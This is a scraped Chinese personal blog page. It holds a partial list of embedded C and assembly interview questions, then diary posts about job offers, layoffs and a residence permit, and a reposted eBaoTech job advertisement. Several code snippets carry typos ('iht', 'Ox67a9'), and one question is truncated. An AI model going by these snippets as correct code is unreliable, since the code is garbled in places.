between function revocations    b) Within a module: A static variable is accessible by all functions        within that module    c) Within a module: A static function can only be called by other              functions within that module  6.  Embedded systems always require the user to manipulate bits in  registers or variables. Given an integer variable a, write two code fragments. The first should set bit 5 of a. The second shnuld clear bit 5 of a. In both  cases, the remaining bits should be unmodified.  7.  What does the following function return?        char foo(void)        {                   unsigned int a = 6;                   iht b = -20;                   char c;                   (a+b > 6) ? (c=1): (c=0);                   return c;        }  8.  What values are printed when the following C program is executed?        int i = 8;        void main(void)        (  9.  What will be the output of the following C code?       main()       {              int k, num= 30;              k =(num > 5 ? (num <=10 ? 100:200): 500);              printf("%d", k);       }  10. What will the following C code do?          int *ptr;          ptr =(int *)Ox67a9;          *ptr = Oxaa55;  11. What will be the output of the follow C code?       #define product(x) (x*x)       main()       {           int i = 3, j, k;           j = product(i++);           k = product(++i);           printf("%d %d",j,k);       }  12. Simplify the following Boolean expression        !((i ==12) || (j > 15))  13. How many flip-flop circuits are needed to divide by 16?  14. Provides 3 properties that make an OS, a RTOS?  15. What is pre-emption?  16. Assume the BC register value is 8538H, and the DE register  value is 62A5H.Find the value of register BC after the following  assembly operations:          MOV A,C          SUB E          MOV C,A          MOV A,B          SBB D          MOV B,A  17.In the Assembly code shown below    LOOP: MVI C,78H          DCR C          JNZ LOOP          HLT  How many times is the DCR C Operation executed?  18.Describe the most efficient way(in term of execution time  and code size) to divide a number by 4 in assembly language  19.what value is stored in m in the following assembly language code  fragment if n=7?          LDAA #n  LABEL1: CMPA #5          BHI  L3          BEQ  L2          DECA          BRA  L1  LABEL2: CLRA  LABEL3: STAA #m  20. What is the state of a process if a resource is not  available?  #define a 365*24*60*60 21. Using the #define statement, how would you  declare a manifest constant that returns the  number of seconds in a year? Disregard leap  years in your answer.  22. Interrupts are an important part of embedded  systems. Consequently, many compiler vendors  offer an extension to standard C to support interrupts.  Typically, the keyword is __interrupt. The following  code uses __interrupt to define an interrupt service  routine (ISR). Point out problems in the code.  __interrupt double compute_area (double radius)  {            double area = PI * radius * radius;            printf("/nArea = %f", area);            return area;  }  19:56 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!141.entry 添加评论 10月12日 今天收到易保网络公司的招聘电话 上午调休半天好好休息了一下,中午的时候易保网络公司打来电话让我去面试,我委婉的说我最近比较忙,拒绝了。公司给我留了个电话号码,让我空的时候打过去。 今天晚上回来查了一下该公司的资料,有点晕了。公司主要做数据库+java的,我晕啊,这个可不是我的专长,幸亏没有确定要去,不然真的丢人了。现在我的想法还是去知名一点或者比较熟悉的公司好。不过现在还没有打算投简历呢,现在内心比较矛盾!我妈让我回去,说可以进四川里有个军事方面研究所,但是不想去,虽然吃住都比较好,但是拿在自己手里的钱少啊,只有2000多,而且这个研究所方向是前沿航空方面的,我去估计只有去当什么网管,没意思!呆在这里,也没意思,没有上海户口很多事情都不可以去考虑,应该自己都没有个着落呢,我很想去北京看看。   这个招聘看起来和我很不对口嘛!!  ---------------------------------------   最新易保招聘 易保网络技术(上海)有限公司简介 易保网络技术(上海)有限公司(以下简称:易保)成立于2000年,是易保科技控股集团(eBaoTech Holding Ltd.) 在华的管理总部和产品研发中心。易保是从中国成长起来的新一代保险软件供应商,在全球范围内现有500多名员工,主要工作在软件产品开发、保险业务流程改造咨询以及系统实施等专业领域。易保是目前亚洲最具规模的独立保险软件供应商。 易保拥有一支优秀的管理团队,主要成员分别来自于麦肯锡、IBM、惠普、平安保险等咨询 业、信息业和保险业巨头。易保在全球的迅猛发展,正吸引着越来越多国际投资巨头的关注, 目前通用电气金融集团(GE Capital)、软银(Softbank)等专业机构已成为易保的战略合作 伙伴。借助国际资本的推动,易保正在积极拓展东南亚、欧洲、日本、北美等保险业市场, 逐步实现全球化的发展大业。 随着全球保险业的快速发展,易保目前已与新加坡职总英康、新加坡大东方人寿、日本生命、 三星人寿、平安保险、太平人寿、法国国家人寿、平安保险,苏黎世金融集团、瑞士人寿等 国内外大型的知名保险公司建立了合作。易保拥有自主知识产权的产、寿险核心业务软件, 无论其功能性,还是技术性,都处于世界领先地位,也赢得了客户的广泛认可。公司先后在 北京、新加坡、瑞士苏黎世、马来西亚开设了分公司,目前正在筹建东京、香港、伦敦以及 纽约的分支机构。 易保倡导“平等、开放、尊重、合作”的管理理念,无论是总部,还是海内外的分公司,都 组建了本土化的管理及运作团队,以确保每位员工都能在自信、真诚的沟通合作氛围中学习 和工作。同时,公司也为每位员工提供了成为国际化人才的职业发展空间,以业务为导向的 跨国界、跨地域、跨文化的人才发展模式,已成为易保人的共同骄傲。 “做中国人自己的软件,推动全球保险业的伟大变革!”---- 易保作为一家快速成长的中国 软件企业,正期待着更多海内外有识之士的加盟,用我们的激情和智慧,与易保共铸辉煌! [email protected],并在标题处注明应聘“××职位”。 招募职位: 技术研发类 职位名称      Java工程师 工作地点      上海 招聘人数      10 职责描述            参与大型商业应用系统设计和软件开发。 任职资格            计算机专业或相关专业应届硕士和应届本科;       熟悉Java,有J2EE、Oracle开发经验优先;       有WebLogic、OracleAS、WebSphere、Unix/Linux的软件平台开发经验者优先;       熟悉面向对象的开发,了解FrameWork和Design Pattern;       思路清晰,逻辑思维能力强;表达能力强,善于沟通;具有较强的分析设计能力 职位名称      数据库工程师 工作地点      上海 招聘人数      2 职责描述            数据库表结构维护和业务数据处理;       数据迁移(从不同结构的老系统导入数据到新结构下)。 任职资格            计算机专业或相关专业应届硕士和应届本科;       熟悉PL/SQL语言;       有数据处理及迁移经验者优先;       有曾在金融保险行业丰富实习经验者优先;       分析问题和实际动手能力强,具有良好的团队合作精神。 保险业务分析类 职位名称      产寿险系统业务顾问 工作地点      上海 招聘人数      5 职责描述            参与大型保险业务系统的需求分析;       在保险业务系统的实施过程中向客户提供咨询服务。 任职资格            精算、统计、数学、保险、金融、计算机、日语、德语、法语及相关专业的应点击打开链接届硕士和应届本科;       英语或日语或法语或德语听说读写俱佳,能够胜任与国外客户直接交流,有海外相关工作或学习经历者优先;       思路清晰,逻辑思维能力强;表达能力强,善于沟通;具有较强的分析设计能力和组织协调能力;       熟练应用MS软件,如:Excel, Word, PowerPoint, VISIO等。 本人目前从事的工作为:设计和研究导电滑环的原理和结构,并编写vc程序控制系统 [email protected],并在标题处注明应聘“××职位”。 18:44 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!119.entry 添加评论 10月10日 也许我真得该走了 到公司1年多了,其实我都没有想走的想法!自己总是拖拖拉拉,现在看见裁员的裁员,走的走,自己也有想法了!真的该走了!希望下次裁员,希望能够申请被裁吧,不要给自己后路! 22:49 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!118.entry 添加评论 9月30日 今天调休办理那个上海该死的良民证 上海居住证到期了,得办理,要跑好远!而且还要交300大洋,日tnnd! 7:35 添加评论阅读评论 (1)固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!116.entry 添加评论 7月2日 周末是这样的无聊 一到周末就不知道该干什么了,总觉得很无聊.幸亏明天要加班! 20:23 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!115.entry 添加评论 6月30日 公司裁员好厉害! 这两天公司大规模裁员,我也不知道在这里能呆多久。把我公司当家了,但是公司说不要你就不要了,有时候觉得好郁闷! 20:28 添加评论固定链接引用通告 (0)记录它  

上一篇:Spring学习笔记:第三章 IoC中的国际化
下一篇:取消在客户端的catch

相关文章

关键词: C调试相关

相关评论

本站评论功能暂时取消,后续此功能例行通知。

一、不得利用本站危害国家安全、泄露国家秘密,不得侵犯国家社会集体的和公民的合法权益,不得利用本站制作、复制和传播不法有害信息!

二、互相尊重,对自己的言论和行为负责。